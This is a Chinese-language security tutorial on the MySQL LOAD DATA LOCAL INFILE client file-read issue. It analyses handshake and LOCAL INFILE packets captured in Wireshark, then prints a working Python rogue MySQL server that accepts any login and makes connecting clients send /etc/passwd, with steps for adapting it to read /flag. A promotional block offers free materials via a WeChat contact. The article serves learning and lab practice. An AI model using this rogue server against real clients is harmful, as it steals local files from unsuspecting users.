Mysql LOAD DATA讀取客戶端任意檔案

前言

MySQL 客戶端和服務端通信程序中是通過對話的形式來實作的，客戶端發送一個操作請求，然后服務端根據客戶端發送的請求來回應客戶端，在這個程序中客戶端如果一個操作需要兩步才能完成，那么當它發送完第一個請求過后并不會存盤這個請求，而是直接丟棄，所以第二步就是根據服務端的回應來繼續進行，這里服務端就可以欺騙客戶端做一些事情，

但是一般的通信都是客戶端發送一個 MySQL 陳述句然后服務器端根據這條陳述句查詢后回傳結果，也沒什么可以利用的，但是 MySQL 有個語法 LOAD DATA INFILE 可以用來讀取一個檔案的內容并插入到表中，

從上圖的官方檔案說明可以看到，該命令既可以讀取服務端的檔案，也可以讀取客戶端的檔案，這取決于 LOCAL modifier 是否給定，

讀取服務端上的檔案內容存入表中的 SQL 陳述句是：

load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

讀取客戶端上的檔案內容存入表中的 SQL 陳述句是：

load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

兩相對比，讀取客戶端上的檔案內容多了一個 local 關鍵字，

以上所描述的程序可以形象地用兩個人的對話來表示：

1. 客戶端：把我本地 /data/test.csv 的內容插入到 TestTable 表中去

2. 服務端：請把你本地 /data/test.csv 的內容發送給我

3. 客戶端：好的，這是我本地 /data/test.cvs 的內容

4. 服務端：成功/失敗

正常情況下這個流程沒有問題，但是前文提到了客戶端在第二次并不知道它自己前面發送了什么給服務器，所以客戶端第二次要發送什么檔案完全取決于服務端，如果這個服務端不正常，就有可能發生如下對話：

1. 客戶端：請把我本地 /data/test.csv 的內容插入到 TestTable 表中去

2. 服務器：請把你本地 /etc/passwd 的內容發送給我

3. 客戶端：好的，這是我本地 /etc/passwd 的內容

4. 服務端：成功偷取檔案內容

這樣服務端就非法拿到了 /etc/passwd 的檔案內容！接下來開始進行這個實驗，做一個惡意服務端來欺騙客戶端，為了撰寫出偽造惡意 MySQL 服務器的 POC，必須對 MySQL 協議有足夠的了解，所以接下來嘗試分析一下 MySQL 協議的資料包，

MySQL 協議資料包分析

為了非法讀取客戶端檔案，我們需要實作一個假的 MySQL 服務器，那如何實作呢？這需要我們對 MySQL 協議展開詳細的分析才能做到，好在借助 Wireshark 結合 MySQL 官方檔案可以幫助我們輕松分析 MySQL 協議的資料包，

我以 ubuntu 虛擬機為客戶端，windows物理機為服務端，借助 Wireshark 工具捕捉兩者間的 mysql 通信資料包，

客戶端ip：192.168.239.129

服務端ip：192.168.1.3

客戶端和服務端之間互動的 MySQL命令如下

mysql -h 192.168.1.3 -P 3306 -u root -p
use security;
load data local infile "/etc/passwd" into table users;

開啟物理機的 mysql，這里注意需要設定 mysql 允許外來連接，不知道如何操作看看這篇文章

設定 MySQL 允許外部訪問

2.打開 wireshark，選擇捕獲 Vmware 相關的網卡并選擇過濾 MySQL 協議，然后用虛擬機連接，

注意：不要使用 mysql 8.0.12 版本，否則相關的資料包顯示不完整，甚至連接的用戶名都顯示不了，這個版本的加密可能更嚴格吧，

官方檔案告訴我們 MySQL 協議也支持通過 TLS 進行加密和身份驗證，MYSQL_TLS

那我們捕獲的資料包是否進行了加密呢？稍加分析一下這些捕獲的資料包就可以判斷其確實使用了 TLS 進行了加密，接下來我們根據檔案結合 Wireshark 捕獲的資料包來進行實踐論證！

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）　?

連接程序資料包

運行連接命令時捕獲到的資料包

mysql -h 192.168.1.3 -P 3306 -u root -p

不打算全部都細說，就以前兩個資料包為例子，和官方檔案對照來學習其結構，

• 第一個資料包 Protocol::HandshakeV10 服務端到客戶端

當客戶端通過 MySQL 協議連接到 服務端會發生什么呢？官方檔案 Protocol::Handshake 告訴我們當客戶端連接到服務端時，服務端會發送一個初始的握手資料包（Initial Handshake Packet）給客戶端，根據服務端的版本和配置選項，服務端會發送不同的初始資料包，

為了服務端可以支持新的協議，Initial Handshake Packet 初始的握手資料包的第一個位元組被定義為協議的版本號，從 MySQL 3.21.0 版本開始，發送的是 Protocol::HandshakeV10

我采用的 MySQL 版本是 5.7.26，所以發送的就是 Protocol::HandShakeV10 ，我們可以看看檔案是如何定義這個資料包的結構的：

關于 Type 欄位各個值的含義在 Integer Types 和 String Types

int<1> 就是 一個位元組，string<NUL> 表示以 00 位元組結尾的字串，

我們點開 Wireshark 中服務端給客戶端發送的初始資料包，從 Server Greeting 欄位開始就是 payload 部分，也就是初始的握手資料包，從圖中我們可以看到有協議版本、服務端的 MySQL 版本、行程 ID，這和我們上圖的檔案是不是完美對應上了？

Protocol::HandShakeV10 只定義了一個資料包的 payload 部分，而關于頭部的定義在 MySQL Packets

和實際的資料包的對應：

payload_length:

sequence_id:

payload:

值得注意的是 Wireshark 的資料是按照小端排列的，比如資料包長度 74 對應的欄位資料是 4a 00 00，

其余的欄位就不再分析了，大同小異，緊接著簡單看看客戶端給服務端的回應吧，官方檔案告訴我們，如果客戶端支持 SSL(Capabilities Flags & CLIENT_SSL is on and the mysql_ssl_mode of the client is not SSL_MODE_DISABLED) ，那么一個短的被稱為 Protocol::SSLRequest: 的資料包會被發送，使得服務端建立一個 SSL layer 并等待來自客戶端的下一個資料包，（這里你可能會感到混亂，前面不是說 TLS 嗎，怎么現在變成了 SSL？其實 TLS 是升級版的 SSL，但是由于 SSL 這一術語更加常用，所以人們經常互換使用者兩個術語，什么是 SSL、TLS、HTTPS）

如果不支持，那么客戶端會回傳 Protocol::HandshakeResponse: ，同時在任何時候，發生任何錯誤，客戶端都會斷開連接，

• 第二個資料包 Protocol::HandshakeResponse41 客戶端到服務端

根據前面的分析，這里客戶端如果支持 SSL，那么會發送 Protocol::SSLRequest 資料包，否則就是Protocol::HandshakeResponse:，根據我的驗證，應該發送的是 Protocol::HandshakeResponse41

感覺挺奇怪的，我覺得應該發送 SSLRequest 才是，但是其包結構卻又對應不上，

client_flag（4位元組），包括了擴展的 Client capabilities

max_packet_size（4位元組）

0x01000000 = 16777216

character_set（1位元組）

filler（23位元組）

username（以 00 結尾的字串）

auth_response

檔案中說這是一個條件選項，當前的資料包是滿足這個條件的，

根據檔案對這個欄位的釋義，其是一個不透明的驗證回應，沒想到在實際資料包中是一個密碼，經過了某個哈希演算法，我沒有去求證 MySQL 采用什么哈希演算法，

接下來就不繼續分析，大同小異，

這個資料包的重點在于能夠表明客戶端是否支持 LOAD DATA LOCAL，這是我們可以讀取客戶端本地檔案的根本，關于這個欄位的定義在：CLIENT_LOCAL_FILES

• 第三個資料包 Ok_Packet 服務端到客戶端

這個資料包一看就是 Ok_Packet

• 第四個資料包 COM_QUERY 客戶端到服務端

這個資料包是 COM_QUERY

• 第五個資料包 Text Resultset 服務端到客戶端

這個資料包是 Text Resultset

選擇 security 資料庫捕獲的資料包

當客戶端向服務端發送 use security 命令選擇資料庫時捕獲到的資料包，特別多，下圖并沒有截完整，這一步不重要

讀取客戶端檔案捕獲的資料包

在客戶端上執行如下命令將 /etc/passwd 檔案內容寫入到 users 表時捕獲到的資料包，

load data local infile "/etc/passwd" into table users;

一共就四個包，很明顯第一個包是一個 COM_QUERY

這個圖我不小心去讀服務端的檔案了，但是無傷大雅，資料包結構是一樣的，而且下圖我重抓啦~

糟糕的是第三個資料包由于我的物理機拒絕了訪問而導致這個資料包是一個錯誤回應資料包，

我在這里找到了解決方案

stackoverflow

連接的時候用

mysql --local-infile=1 -u root -p -h 192.168.1.3

重新抓一遍包！！

• 第一個資料包 客戶端到服務端 COM_QUERY

• 第二個資料包 服務端到客戶端 LOCAL INFILE Request

這個資料包很重要，是構造惡意 MySQL 服務器的重點，我們需要根據這個資料包的結構書寫 payload，具體地說，需要偽造的部分是 MySQL 資料包的首部和 payload 部分，還記得前面的 MySQL 資料包的結構圖嗎？

對照一下上圖就會發現這個 MySQL 協議資料包的頭部是

0c 00 00 01

對應的 payload（不是 wireshark 的那個 Payload） 是

fb 2f 65 74 63 2f 70 61 73 73 77 64

• 第三個資料包 客戶端到服務端 COM_QUERY

上一個資料包服務端給客戶端發送LOAL INFILE Request 的回應后，客戶端發給服務端的這一個資料就包含了 /etc/passwd 檔案的內容，

• 第四個資料包 服務端到客戶端 Ok_Packet

客戶端經過兩個請求，成功的將自己的 /etc/passwd 檔案插入到表 users 中，

根據我們前面所說，客戶端在發送完第一個請求之后并不會存盤這個請求，而是直接丟棄，所以第二步是根據服務端的回應來進行，這里服務器就可以欺騙客戶端做一些事情（改變第二個資料包的回應內容），有了以上的鋪墊，POC 的撰寫并不困難，只需要完成連接程序，然后修改第二個資料包的回應內容就好，

POC

我懶得完整撰寫 POC 了，所以從網上抄了一個，值得一提的是這個 POC 并不標準，在連接建立程序中發送的資料并沒有包含資料包首部，而發送 payload 的時候又包含了首部，（同時從撰寫的代碼來看好像撰寫者并沒有對資料包的構成有一個準確的認識 hhh，當然也有可能是我錯了）

1. 客戶端發送請求資料包

2. 服務端發送 Mysql 的 Greet 與 banner 資訊

3. 客戶端發送認證請求(用戶名與密碼)

4. 這里面我們當然要保證無論輸入什么密碼都是可以的

5. 獲取到檔案資訊直接輸出

#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#資料包長度
payloadlen = "\x0c" #這里明顯有問題啦，因為檔案告訴我們資料包的長度是用三個位元組表示的
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #這里又把序列號拼在了 資料包的 payload部分
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
    conn, addr = s.accept()
    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = https://www.cnblogs.com/hetianlab/archive/2023/04/06/conn.recv(BUFFER_SIZE)
        print" ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = https://www.cnblogs.com/hetianlab/archive/2023/04/06/conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print"[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

在服務器運行以上腳本，并在客戶端連接

收到 /etc/passwd 檔案內容

讀取 /flag

如果想要讀取 /flag 如何修改 payload 呢？這是一個很簡單的問題，因為已知了這是一個 LOCAL INFILE Request 資料包，所以只需要構造一下資料包首部和 payload 部分即可（保持 POC 中其余欄位不變），

首部包括三個位元組長的長度欄位，一個位元組長的序列號，

payload 部分是一個位元組長的包型別 0xFB 和 xx 位元組長的檔案名

現在真正的資料部分是/flag，轉換成十六進制為 2f666c6167，其拼接上一個位元組的包型別 0xFB 就湊成了 payload 部分：fb 2f 66 6c 61 67 ，故首部中的長度欄位值為 0x06，

更多靶場實驗練習、網安學習資料，請點擊這里>>

標籤：其他

上一篇：云計算時代前端如何保證開源代碼的安全性

下一篇：DKP 黑客分析——不正確的代幣對比率計算